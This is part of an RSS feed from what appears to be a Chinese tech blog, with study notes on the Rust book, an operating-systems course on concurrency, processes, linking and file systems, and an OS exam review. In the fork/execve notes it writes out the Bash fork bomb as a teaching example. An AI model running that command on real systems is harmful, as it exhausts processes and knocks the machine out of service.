</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div></li>
<li>conditionally implement a trait for any type that implements another trait
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Rust" data-lang="Rust"><span class="line"><span class="cl"><span class="k">impl</span><span class="o">&lt;</span><span class="n">T</span>: <span class="nc">Display</span><span class="o">&gt;</span><span class="w"> </span><span class="nb">ToString</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">T</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c1">// --snip--
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div></li>
</ul>
<h3 id="lifetime">lifetime</h3>
<ul>
<li>Lifetime annotations don’t change how long any of the references live. Rather, they describe the relationships of the lifetimes of multiple references to each other without affecting the lifetimes</li>
<li>the names of lifetime parameters must start with an apostrophe (&rsquo;) and are usually all lowercase and very short</li>
<li>when we specify the lifetime parameters in this function signature, we’re not changing the lifetimes of any values passed in or returned. Rather, we’re specifying that the borrow checker should reject any values that don’t adhere to these constraints.</li>
<li>in early versions (pre-1.0) of Rust,every reference needed an explicit lifetime</li>
<li>The compiler uses <em>three rules</em> to figure out the lifetimes of the references when there aren’t explicit annotations.
<ol>
<li>the compiler assigns a different lifetime parameter to each lifetime in each input type.</li>
<li>if there is exactly one input lifetime parameter, that lifetime is assigned to all output lifetime parameters</li>
<li>if there are multiple input lifetime parameters, but one of them is <code>&amp;self</code> or <code>&amp;mut self</code> because this is a <em>method</em>, the lifetime of self is assigned to all output lifetime parameters.</li>
</ol>
</li>
<li>The Static Lifetime <code>'static</code>
<ul>
<li>The string literals is <em>stored directly in the program’s binary</em>, which is always available. Therefore, <em>the lifetime of all string literals is <code>'static</code>.</em></li>
<li>&lsquo;static means &ldquo;live for the entire program&rdquo;, and so data under a static reference must never be deallocated.</li>
</ul>
</li>
<li>生命周期标注并不会改变任何引用的实际作用域</li>
</ul>
<h2 id="chapter11">chapter11</h2>
<h3 id="the-output-from-running-the-automatically-generated-test">The output from running the automatically generated test</h3>
<ul>
<li>The 0 measured statistic is for benchmark tests that measure performance.</li>
<li><code>Doc-tests</code>  is for the results of any documentation tests</li>
</ul>
<h3 id="常用命令">常用命令</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Rust" data-lang="Rust"><span class="line"><span class="cl"><span class="fm">assert!</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="fm">assert_eq!</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">assert_ne</span><span class="o">!</span><span class="w"> </span><span class="c1">//  will pass if the two values we give it are not equal and fail if they’re equal.
</span></span></span></code></pre></div><h3 id="running-tests-in-parallel-or-consecutively">Running Tests in Parallel or Consecutively</h3>
<ul>
<li>When you run multiple tests, <em>by default</em> they run in parallel using threads</li>
<li><code>cargo test -- --test-threads=1</code></li>
<li><code>cargo test -- --show-output</code></li>
<li><code>cargo test --help</code></li>
<li><code>cargo test -- --help</code></li>
<li>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Rust" data-lang="Rust"><span class="line"><span class="cl"><span class="cp">#[test]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="cp">#[ignore]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">cargo</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="o">--</span><span class="w"> </span><span class="o">--</span><span class="n">ignored</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">cargo</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="o">--</span><span class="w"> </span><span class="o">--</span><span class="n">include</span><span class="o">-</span><span class="n">ignored</span><span class="w">
</span></span></span></code></pre></div></li>
<li>We can specify part of a test name, and <em>any test whose name matches that value</em> will be run.</li>
</ul>
<h3 id="test-organization">test-organization</h3>
<ul>
<li>Unit tests exercise different parts of a library separately and can test private implementation details.</li>
<li>Unit tests exercise different parts of a library separately and can test private implementation details.</li>
</ul>
<h2 id="chapter12">chapter12</h2>
<ul>
<li>in cases where the desired function is nested in more than one module, we’ve chosen to <em>bring the parent module into scope</em> rather than the function.</li>
<li>TDD(Test Driven Develop)</li>
<li>Write a test that fails and run it to make sure it fails for the reason you expect.</li>
<li>Write or modify just enough code to make the new test pass.</li>
<li>Refactor the code you just added or changed and make sure the tests continue to pass.</li>
<li>Repeat from step 1!</li>
</ul>
<h2 id="chapter13">chapter13</h2>
<ul>
<li>Rust will infer the types of arguments/returns for closures, but not top-level functions</li>
<li>Closures can capture values from their environment in three ways
<ol>
<li>borrowing immutably</li>
<li>borrowing mutably</li>
<li>taking ownership.</li>
</ol>
</li>
<li>Fn traits
<ol>
<li>FnOnce</li>
<li>FnMut</li>
<li>Fn</li>
</ol>
</li>
<li>iterator adaptors are lazy, and we need to consume the iterator here.</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>《操作系统：设计与实现》笔记</title>
      <link>https://ds63.eu.org/2023/learn-os-vias-jyy/</link>
      <pubDate>Tue, 27 Jun 2023 18:37:47 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/learn-os-vias-jyy/</guid>
      <description>操作系统就是状态机</description>
      <content:encoded><![CDATA[<p><strong><a href="https://space.bilibili.com/202224425/channel/collectiondetail?sid=192498"  target="_blank" rel="noopener" >操作系统：设计与实现 (2022 春季学期)</a>的学习笔记</strong></p>
<h3 id="p3-多处理器编程从入门到放弃-线程库现代处理器和宽松内存模型">p3 多处理器编程：从入门到放弃 (线程库；现代处理器和宽松内存模型)</h3>
<ul>
<li>
<p>并发程序的三个麻烦</p>
<ul>
<li>原子性</li>
<li>顺序</li>
<li>可见性</li>
</ul>
</li>
<li>
<p>gcc 编译</p>
<ul>
<li>不优化,并查看汇编代码
<code>gcc -c -O1 sum.c &amp;&amp; objdump -d sum.o</code></li>
<li><code>asm volatile(&quot;&quot; : : &quot;memory&quot;); // compiler barrier</code></li>
</ul>
</li>
<li>
<p>统计次数
<code> ./a.out | head -n 1000 | sort | uniq -c</code></p>
</li>
<li>
<p>现代处理器</p>
<ul>
<li>也是动态编译器：汇编指令也是由多个uop所组成的。</li>
<li>维护一个uop的“池子” 指令的有向无环图</li>
<li>乱序执行，顺序提交</li>
</ul>
</li>
</ul>
<h3 id="p4-理解并发程序执行-peterson算法模型检验与软件自动化工具">p4 理解并发程序执行 (Peterson算法、模型检验与软件自动化工具)</h3>
<ul>
<li>C语言的形式语义
<ul>
<li>全局变量加多个栈帧；每个栈帧有其局部变量和pc</li>
</ul>
</li>
<li>Peterson算法
<ul>
<li>看上去是谦让的，但其实是自私的</li>
<li>证明正确性：画出状态机
<ul>
<li>困境：不敢不画，不敢乱画</li>
<li>解决： <a href="https://jyywiki.cn/pages/OS/2022/demos/model-checker.py"  target="_blank" rel="noopener" >model-checker</a></li>
<li>把程序的问题变成图论的问题
<ul>
<li>safety 红色状态不可达</li>
<li>liveness : 从任意状态出发，都能到达绿/蓝色状态 强连通分量</li>
</ul>
</li>
</ul>
</li>
<li>许多重要的想法，凝练以后就是概念</li>
</ul>
</li>
<li>并发程序 = 状态机</li>
<li>Python generator
<ul>
<li>e.g.
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Python" data-lang="Python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">numbers</span><span class="p">(</span><span class="n">init</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span><span class="n">step</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">init</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="n">Trye</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">+=</span> <span class="n">step</span>
</span></span><span class="line"><span class="cl">    <span class="k">yield</span> <span class="n">n</span>
</span></span><span class="line"><span class="cl"><span class="n">g</span> <span class="o">=</span> <span class="n">numbers</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">g</span><span class="o">.</span><span class="fm">__next__</span><span class="p">()</span>
</span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="p5-并发控制互斥-自旋锁互斥锁和-futex">p5 并发控制：互斥 (自旋锁、互斥锁和 futex)</h3>
<ul>
<li>不能解决问题的时候，可以找到所依赖的假设，并大胆地打破它</li>
<li>spin 线程直接共享 locked</li>
<li>mutex 通过系统调用访问 locked</li>
<li>futex(Fast Userspace muTexes)
<ul>
<li>Fast path: 一条原子指令，上锁成功立即返回</li>
<li>Slow path: 上锁失败，执行系统调用睡眠</li>
</ul>
</li>
</ul>
<h2 id="p6-并发控制同步-条件变量信号量生产者-消费者和哲学家吃饭问题">p6 并发控制：同步 (条件变量、信号量、生产者-消费者和哲♂学家吃饭问题)</h2>
<ul>
<li>思考： 有一堆任务，平均切分成n堆。有x个线程负责完成该任务(x &lt; n) 一个线程一次只能完成一个任务，完成后会自动去做下一个任务。要怎么实现？</li>
<li>有万能的方法，就要用万能的方法。
<ul>
<li>他是这样诠释的。当项目代码量不大（一千行以内），项目还是比较好维护的，这时候用写聪明的写法没问题。但当项目到了几万行甚至几百万行时，这时候就需要多个人来进行协作。而人和人之间最大的障碍就是无法完全沟通，理解对方的心意。</li>
<li>不要试图用聪明的办法解决并发问题</li>
<li>个人想法：第一次听这种说法，有一定道理。</li>
</ul>
</li>
<li>万能同步方法 —— 条件变量(Conditional Variables )
<ul>
<li>API
<ul>
<li>wait(cv, mutex) 💤
调用时必须保证已经获得 mutex
释放 mutex、进入睡眠状态</li>
<li>signal/notify(cv) 💬 私信：走起
如果有线程正在等待 cv，则唤醒其中一个线程</li>
<li>broadcast/notifyAll(cv) 📣 所有人：走起
唤醒全部正在等待 cv 的线程</li>
</ul>
</li>
<li>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// 需要等待条件满足时
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">mutex_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mutex</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="n">cond</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nf">wait</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cv</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mutex</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="n">cond</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1">// 互斥锁保证了在此期间条件 cond 总是成立
</span></span></span><span class="line"><span class="cl"><span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">mutex_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mutex</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 其他线程条件可能被满足时
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">broadcast</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cv</span><span class="p">);</span>
</span></span></code></pre></div></li>
<li>debug -&gt; 隔离出bug触发的最小条件</li>
</ul>
</li>
</ul>
<h2 id="p7-真实世界的并发编程-高性能计算数据中心人机交互中的并发编程">p7 真实世界的并发编程 (高性能计算/数据中心/人机交互中的并发编程)</h2>
<ul>
<li>谈block chain &gt; 是个很好的技术。但觉得不太对。因为造成了相当大的资源浪费。</li>
<li><a href="https://www.youtube.com/watch?v=FFftmWSzgmk&amp;ab_channel=Numberphile"  target="_blank" rel="noopener" >What&rsquo;s so special about the Mandelbrot Set? - Numberphile</a></li>
<li><a href="https://github.com/atanunq/viu"  target="_blank" rel="noopener" >atanunq/viu</a></li>
<li>搜索降低了知识的获取成本，ChatGPT等再一次降低了成本。</li>
<li>go语言，编程友好、性能优化</li>
<li>博客是web2.0 的第一步</li>
<li>Ajax (Asynchronous JavaScript + XML)</li>
<li>这次课中讲了三种并发编程，根据不同的需要，实现并发的方式也不同。</li>
</ul>
<h2 id="p8-并发-bug-和应对-死锁数据竞争原子性违反防御性编程和动态分析">p8 并发 bug 和应对 (死锁/数据竞争/原子性违反；防御性编程和动态分析)</h2>
<ul>
<li>软件是需求在计算机数字世界的投影。</li>
<li>assert的使用</li>
<li>没有工具不做系统</li>
<li>premature optimization is root of all evil</li>
<li>编程语言的缺陷——对程序员的完全信任：因为计算资源的宝贵</li>
<li>动态分析工具 <code>-fsanitize</code></li>
<li>Canary msvc 中 debug mode 的canary  <code>(b'\xcc' * 80).decode('gb2312')</code></li>
</ul>
<h2 id="p9-操作系统的状态机模型-操作系统的加载-thread-os-代码讲解">p9 操作系统的状态机模型 (操作系统的加载; thread-os 代码讲解)</h2>
<ul>
<li>大学的真正意义:f将已有的知识和方法重新消化，为大家建立好 “台阶”，在有限的时间里迅速赶上数十年来建立起的学科体系。</li>
</ul>
<h2 id="p10-状态机模型的应用-细胞自动机-gdbrrperf-代码验证工具">p10 状态机模型的应用 (细胞自动机; gdb/rr/perf; 代码验证工具)</h2>
<ul>
<li>分布式系统也是一种并发程序，但要更复杂。因为并发程序假设了每个thread都能正常运行，而分布式系统则要考虑节点丢失的情况。</li>
</ul>
<h2 id="p11-操作系统上的进程-最小-linux-fork-execve-和-exit">p11 操作系统上的进程 (最小 Linux; fork, execve 和 exit)</h2>
<ul>
<li>Linux 操作系统启动流程
CPU Reset → Firmware → Loader → Kernel _start() → 第一个程序 /bin/init → 程序 (状态机) 执行 + 系统调用</li>
<li>Fork Bomb:
<code>:(){:|:&amp;};:</code>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">:<span class="o">()</span> <span class="o">{</span>         <span class="c1"># 格式化一下</span>
</span></span><span class="line"><span class="cl">: <span class="p">|</span> : <span class="p">&amp;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span><span class="p">;</span> :
</span></span></code></pre></div></li>
<li>stdout:
终端: line buffer
pipe , file :full buffer (除非显示地调用fflush)
<pre tabindex="0"><code></code></pre></li>
<li><strong>fork</strong>
<ul>
<li>程序就是状态机，正在执行的程序也是状态机，fork创建状态机的副本；</li>
<li>创建的进程返回+1，子进程返回为0</li>
<li>把所有的寄存器和内存都复制</li>
</ul>
</li>
<li><strong>execve</strong>
<ul>
<li>将当前运行的状态机重置成成另一个程序的初始状态</li>
</ul>
</li>
<li><strong>_exit</strong></li>
</ul>
<h2 id="p12-进程的地址空间-pmap-vdso-mmap-游戏修改器外挂">p12 进程的地址空间 (pmap; vdso; mmap; 游戏修改器/外挂)</h2>
<ul>
<li>端序
<ul>
<li>大端 (big endian): 低地址存放<em>高</em>有效字节</li>
<li>小端 (little endian): 低字节存放<em>低</em>有效字节</li>
</ul>
</li>
<li>工具使用
<ul>
<li>gdb</li>
<li>readelf</li>
<li>pmap</li>
</ul>
</li>
<li>计算机世界没有魔法。因为程序就是状态机。</li>
<li>vdso:不进入操作系统内核，实现系统调用</li>
<li>mmap：</li>
<li>文件=字节序列；内存=字节序列； everything is a file</li>
</ul>
<h2 id="p13-系统调用和-shell-freestanding-shell-终端和-job-control">p13 系统调用和 Shell (freestanding shell, 终端和 job control)</h2>
<ul>
<li>cd是内部命令：改变当前目录是用系统调用实现的</li>
<li><code>strace -f gcc a.c 2&gt;&amp;1 | vim -</code> This will pipe both stdout and stderr to vim. The <code>-</code> argument tells vim to read from stdin.</li>
<li><code>strace pmap 152 |&amp; vim - </code>
<code>|&amp;</code> : This is a shorthand for <code>2&gt;&amp;1 |</code> in bash and zsh. It passes both standard output and standard error of one command as input to another.</li>
<li>fish, zsh 和 bash 都是常用的命令行 shell; sh是比较原始的</li>
<li>clear 清屏</li>
<li><code>,./a.out &amp;</code>  后台执行./a.out</li>
</ul>
<h2 id="p14-c-标准库的实现-系统调用的封装内存空间管理">p14 C 标准库的实现 (系统调用的封装；内存空间管理)</h2>
<ul>
<li>文件描述符还是不理解。印象中这是第二次谈到了&quot;everything is a file&quot;
<ul>
<li>os的对象和对象的访问</li>
</ul>
</li>
<li>gdn的使用
<ul>
<li><code>No symbol table is loaded.  Use the &quot;file&quot; command</code>。可能是编译选项未包含debug信息,如gcc没有添加-g选项。</li>
</ul>
</li>
<li>premature optimization is the root of all evil.</li>
<li>脱离workload谈优化就是耍流氓</li>
<li>经典的设计：
<ul>
<li>fast path</li>
<li>slow path</li>
</ul>
</li>
</ul>
<h2 id="p15-fork-的应用-文件描述符的复制写时复制创建平行宇宙的魔法">p15 fork 的应用 (文件描述符的复制；写时复制；创建平行宇宙的魔法)</h2>
<ul>
<li>fork 状态机复制包括持有的所有操作系统对象</li>
<li>包括持有的所有操作系统对象</li>
<li>文件描述符（file discriptor）
<ul>
<li>一个指向操作系统内对象的 “指针”</li>
<li>dup() 的两个文件描述符是共享 offset</li>
</ul>
</li>
<li>访问空指针也会造成缺页中断</li>
<li>“Copy-on-write” 只有被写入的页面才会复制一份
<ul>
<li>被复制后，整个地址空间都被标记为 “只读”</li>
<li>操作系统捕获 Page Fault 后酌情复制页面</li>
<li>fork-execve 效率得到提升</li>
</ul>
</li>
<li>操作系统会维护每个页面的引用计数</li>
<li>定义进程所占用的内存</li>
<li>page是归os所有的，而非进程</li>
<li>使用fork来搜索并行化。</li>
</ul>
<h2 id="p16-什么是可执行文件-调试信息stack-unwinding静态链接中的重定位">p16 什么是可执行文件 (调试信息；Stack Unwinding；静态链接中的重定位)</h2>
<ul>
<li>可执行文件描述了状态机，是一个描述了状态机的初始状态 + 迁移的数据结构</li>
<li>os没有魔法，所有东西都有解释</li>
<li><code>She-bang</code> <code>#! interpreter [optional-arg]</code></li>
<li>GNU binutils
<ul>
<li>生成可执行文件
<ul>
<li>ld (linker), as (assembler)</li>
<li>ar, ranlib</li>
</ul>
</li>
<li>分析可执行文件
<ul>
<li>objcopy/objdump/readelf</li>
<li>addr2line, size, nm</li>
</ul>
</li>
</ul>
</li>
<li><code>objdump -d a.out | less</code> disasm</li>
<li><code>addr2line 401122 a.out</code></li>
<li>elf: 小精灵；dwarf：矮人</li>
<li>将一个 assembly (机器) 状态映射到 “C 世界” 状态很难</li>
<li>gcc等仍存在着许多不完美</li>
<li>编译器，汇编器，链接器</li>
</ul>
<h2 id="p17-动态链接和加载-静态-elf-加载器实现调试-linux-内核动态链接和加载">p17 动态链接和加载 (静态 ELF 加载器实现；调试 Linux 内核；动态链接和加载)</h2>
<ul>
<li>自定义了一个二进制格式文件</li>
<li>GOT ： global offset table</li>
<li>PLT : procedure linkage table</li>
</ul>
<h2 id="p23-1-bit-数据的存储-延迟线磁芯dramsram磁带磁盘光盘flash-ssd">p23 1-Bit 数据的存储 (延迟线/磁芯/DRAM/SRAM/磁带/磁盘/光盘/Flash SSD)</h2>
<ul>
<li>volatile: 确保该变量的实际值与内存中的值一致,每次读取都是最新值,也禁止编译器对其进行优化。</li>
<li>core dumped 磁性内存年代开始的概念。</li>
<li>局部性原理 -&gt; 可以按照大块来读写</li>
</ul>
<h2 id="p24-输入输出设备模型-串口键盘磁盘打印机总线中断控制器dma-和-gpu">p24 输入输出设备模型 (串口/键盘/磁盘/打印机/总线/中断控制器/DMA 和 GPU</h2>
<ul>
<li>DMA: direct memory access : 一个专门执行&quot;memcpy&quot;程序的cpu</li>
<li>IPC: Instruction per second</li>
<li>GPU:
<ul>
<li>一个通用计算设备</li>
<li>大量并行相似的任务</li>
</ul>
</li>
<li>异构计算：都能做，但选那个最合适的。（jjy在22年说的现在已经能感觉到有相关的趋势了。不过倒不是里面举例的挖矿，而是llm模型）</li>
</ul>
<h2 id="p25-设备驱动程序-linux-设备驱动-gpu-和-cuda-存储设备抽象">p25 设备驱动程序 (Linux 设备驱动; GPU 和 CUDA; 存储设备抽象)</h2>
<ul>
<li>设备抽象成 支持各类操作的对象 (文件)
<ul>
<li>read - 从设备某个指定的位置读出数据</li>
<li>write - 向设备某个指定位置写入数据</li>
<li>ioctl - 读取/设置设备的状态</li>
</ul>
</li>
<li><code>stty -a</code></li>
<li>GPU
<ul>
<li>Single Instruction, Multiple Thread</li>
</ul>
</li>
<li>读优先的正确性</li>
</ul>
<h2 id="p26-文件系统-api-设备在应用间的共享目录和文件-api">p26 文件系统 API (设备在应用间的共享；目录和文件 API)</h2>
<ul>
<li>信息的局部性</li>
<li>Windows从c盘开始时是受其前身Dos系统的影响，那个有a、b</li>
<li><code>mount disk.img  /mnt</code></li>
<li><code>umount /mnt</code></li>
<li>硬（hard）链接
<ul>
<li><code>ln /usr/local/python3 python</code></li>
<li>目录中仅存储指向文件数据的指针</li>
<li>允许一个文件被多个目录引用.</li>
<li>无法用来链接目录，也不能跨文件系统</li>
<li>通过<code>ls -i</code>查看是否为硬链接</li>
</ul>
</li>
<li>软 (symbolic) 链接
<ul>
<li>“快捷方式”</li>
<li><code> ln -s ../p24 p24</code></li>
<li>目录从“树”变为了“图”，还是有环图</li>
</ul>
</li>
<li><code>cd</code>的特殊性
<ul>
<li>每个进程都有一个对应的工作目录（pwd），而这个目录只有系统调用才能够修改</li>
</ul>
</li>
</ul>
<h2 id="p27-fat-和-unix-文件系统-数据结构视角的文件系统-fat-手册导读和目录树遍历">p27 FAT 和 UNIX 文件系统 (数据结构视角的文件系统; FAT 手册导读和目录树遍历)</h2>
<ul>
<li>数据结构的假设：数据是以字节来存储的。</li>
<li>RAM 和 block的区别</li>
<li>FAT(File Allocation Table)
<ul>
<li>将指针集中存放在文件系统的某个区域</li>
<li>适合小文件</li>
<li>会产生碎片（fragmentation）</li>
<li>基本假设
<ul>
<li>链表无环且长度和文件大小一致</li>
<li>FREE的cluster不能有入边</li>
</ul>
</li>
</ul>
</li>
<li>cluster</li>
<li>sector</li>
<li>ext2
<ul>
<li>大文件的随机读写性能提升明显 (O(1))</li>
<li>支持链接 (一定程度减少空间浪费)</li>
<li>inode 在磁盘上连续存储，便于缓存/预取</li>
<li>碎片</li>
</ul>
</li>
</ul>
<h2 id="p28-持久数据的可靠性-raid-崩溃一致性-fsck-和日志">p28 持久数据的可靠性 (RAID; 崩溃一致性; FSCK 和日志)</h2>
<ul>
<li>虚拟化
<ul>
<li>cpu的虚拟化：通过分时等技术让多个进程并行，相当于虚拟出了多个cpu</li>
<li>内存的虚拟化：一份内存通过mmu，虚拟成每个进程的地址空间</li>
<li>RAID：反向的虚拟化：多个磁盘虚拟化一个磁盘</li>
</ul>
</li>
<li>RAID
<ul>
<li>RAID0 : 交错排列： 提升容量和带宽</li>
<li>RAID1 : 提升容错和读带宽</li>
<li>RAID4 : 额外的一块校验盘
<ul>
<li>致命缺陷：随机写的性能只能有校验盘性能的一半</li>
</ul>
</li>
<li>RAID5 : Rotating Parity</li>
</ul>
</li>
<li>RAID带来的联想：
多个磁盘虚拟化为一个又大又快又可靠的磁盘，多台电脑虚拟化为一个又大又快又可靠的电脑
那能不能多个神经网络虚拟化为一个更好的神经网络</li>
<li>崩溃一致性  (Crash Consistency)
<ul>
<li>场景：写入的时候突然断电了怎么办？</li>
<li>方法1：按照一定顺序来写，且 “all or nothing”
<ul>
<li>困难：磁盘不提供多块读写 “all or nothing” 的支持，甚至为了性能，没有顺序保证。</li>
</ul>
</li>
<li>方法2： File System Checking (FSCK)
<ul>
<li>根据磁盘上已有的信息，恢复出 “最可能” 的数据结构</li>
<li>困难：难；如果修复的时候再掉一次电？</li>
</ul>
</li>
<li>方法3： 日志</li>
<li>具体：
<ul>
<li>数据结构操作发生时，用 (2) append-only 记录日志</li>
<li>日志落盘后，用 (1) 更新数据结构</li>
<li>崩溃后，重放日志并清除 (称为 redo log；相应也可以 undo log)</li>
</ul>
</li>
<li>优化: journaling (jdb2)</li>
</ul>
</li>
</ul>
<h2 id="p30-现代存储系统-关系数据库和分布式存储系统">p30 现代存储系统 (关系数据库和分布式存储系统)</h2>
<ul>
<li>数据库
<ul>
<li>关键
<ul>
<li>索引</li>
<li>查询优化</li>
</ul>
</li>
<li>magic：你只管写sql语句，相应的搜索优化它来做</li>
<li>要求：acid
<ul>
<li>Atoming</li>
<li>Consistency</li>
<li>Isolation</li>
<li>Durability</li>
</ul>
</li>
</ul>
</li>
<li>图灵奖
<ul>
<li>这门课听下来，听到了好多知识点背后都是获得过图灵奖的研究，甚至开创了一整个产业。</li>
</ul>
</li>
<li>关系型数据库跟不上社交网络的需求</li>
<li>cap theorem
<ul>
<li>Consistency</li>
<li>Availability</li>
<li>Partition Tolerance</li>
</ul>
</li>
<li>分布式存储系统</li>
</ul>
<h2 id="感想">感想</h2>
<p>蒋炎炎这门课还是别人推荐的。第一次看到还不以为意，但出现的次数多了就觉得有必要去看看。发现是一大惊喜。</p>
<h2 id="收获">收获</h2>
<ol>
<li>原版书能看得下来了。大段的英文，之前看着有点怕，现在觉得也能看下来，并且速度还可以。</li>
</ol>
<h2 id="课外资料">课外资料</h2>
<ul>
<li><a href="https://plantegg.github.io/2022/06/05/%E4%B8%8A%E4%B8%8B%E6%96%87%E5%88%87%E6%8D%A2%E5%BC%80%E9%94%80/"  target="_blank" rel="noopener" >上下文切换的代价</a></li>
<li><a href="https://plantegg.github.io/2021/06/01/CPU%E7%9A%84%E5%88%B6%E9%80%A0%E5%92%8C%E6%A6%82%E5%BF%B5/"  target="_blank" rel="noopener" >CPU的制造和概念</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>操作系统复习笔记</title>
      <link>https://ds63.eu.org/2023/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%A4%8D%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Mon, 19 Jun 2023 18:35:11 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%A4%8D%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>操作系统复习笔记</description>
      <content:encoded><![CDATA[<h1 id="期末复习">期末复习</h1>
<h2 id="chpter-3-process">Chpter 3 Process</h2>
<ul>
<li>操作系统进行任务调度和资源分配的基本单位</li>
<li>Process include:
<ol>
<li>Program code</li>
</ol>
<ul>
<li>text section</li>
</ul>
<ol start="2">
<li>program counter and processors’ registers</li>
<li>Stack</li>
</ol>
<ul>
<li>Function parameters</li>
<li>Return address</li>
<li>Local variables</li>
</ul>
<ol start="4">
<li>data section</li>
</ol>
<ul>
<li>Global variables</li>
</ul>
<ol start="5">
<li>Heap</li>
</ol>
<ul>
<li>Dynamically allocated memory</li>
</ul>
</li>
<li>Process State
<ul>
<li>五态模型
<ul>
<li>new</li>
<li>ready:waiting to be assigned to a processor</li>
<li>waiting: waiting for some event to occur</li>
<li>running</li>
<li>terminated</li>
</ul>
</li>
</ul>
</li>
<li>Process control block（PCB）
<ul>
<li>包含信息有：
<ul>
<li>Process number</li>
<li>Process state</li>
<li>Program counter
<ul>
<li>下条指令的地址</li>
</ul>
</li>
<li>CPU registers</li>
<li>CPU scheduling information</li>
<li>Memory-management information</li>
<li>Accounting information</li>
<li>I/O status information</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="process-scheduling">Process Scheduling</h3>
<ul>
<li>
<p>Scheduling queues</p>
<ol>
<li>Job queue</li>
</ol>
<ul>
<li>set of all processes in the system</li>
<li>As processes/job enter the system，they are put into the job queue</li>
</ul>
<ol start="2">
<li>Ready queue</li>
</ol>
<ul>
<li>set of all processes residing in “(main) memory”, ready and “waiting” to execute</li>
</ul>
<ol start="3">
<li>Device queues</li>
</ol>
<ul>
<li>set of processes waiting for an I/O device</li>
</ul>
</li>
<li>
<p>Scheduler(调度器)</p>
<ol>
<li>Long-term scheduler or job scheduler</li>
</ol>
<ul>
<li>job queue -&gt; ready queue</li>
<li>may  be absent on Time-sharing system such as UNIX  and Windows
<ul>
<li>They put every new process in memory for the short-term scheduler</li>
</ul>
</li>
</ul>
<ol start="2">
<li>Short-term scheduler Or CPU scheduler: 进程调度</li>
</ol>
<ul>
<li>selects which process should be executed next and allocates CPU</li>
<li>因为其执行十分频繁，所以每次选择不能耗时太长，否则就overhead</li>
</ul>
<ol start="3">
<li>Medium-term scheduler Or swapping</li>
</ol>
<ul>
<li>swap out: removes processes from memory to disk and reduces the degree of multiprogramming</li>
<li>swap in: introduce process into memory</li>
</ul>
</li>
<li>
<p>Context Switch</p>
<ul>
<li>CPU switches to another process</li>
</ul>
</li>
</ul>
<h3 id="operations-on-processes">Operations on Processes</h3>
<ol>
<li>fork()
<ul>
<li>The new process consists of a copy of the address space of the original process</li>
<li>The return code for the fork() is zero for the child process</li>
<li>子进程会复制父进程的地址空间和资源，但并不会复制父进程的线程</li>
</ul>
</li>
</ol>
<h3 id="interprocess-communication">Interprocess Communication</h3>
<ul>
<li>Shared memory</li>
<li>Message passing</li>
</ul>
<h3 id="名词解释">名词解释：</h3>
<ul>
<li>multiprogramming： is to have some process running at all times, to maximize CPU utilization</li>
<li>time sharing ： is to switch the CPU among processes so frequently that users can interact with each process</li>
</ul>
<h2 id="chapter-4-thread">Chapter 4 Thread</h2>
<ul>
<li>进程 vs 线程
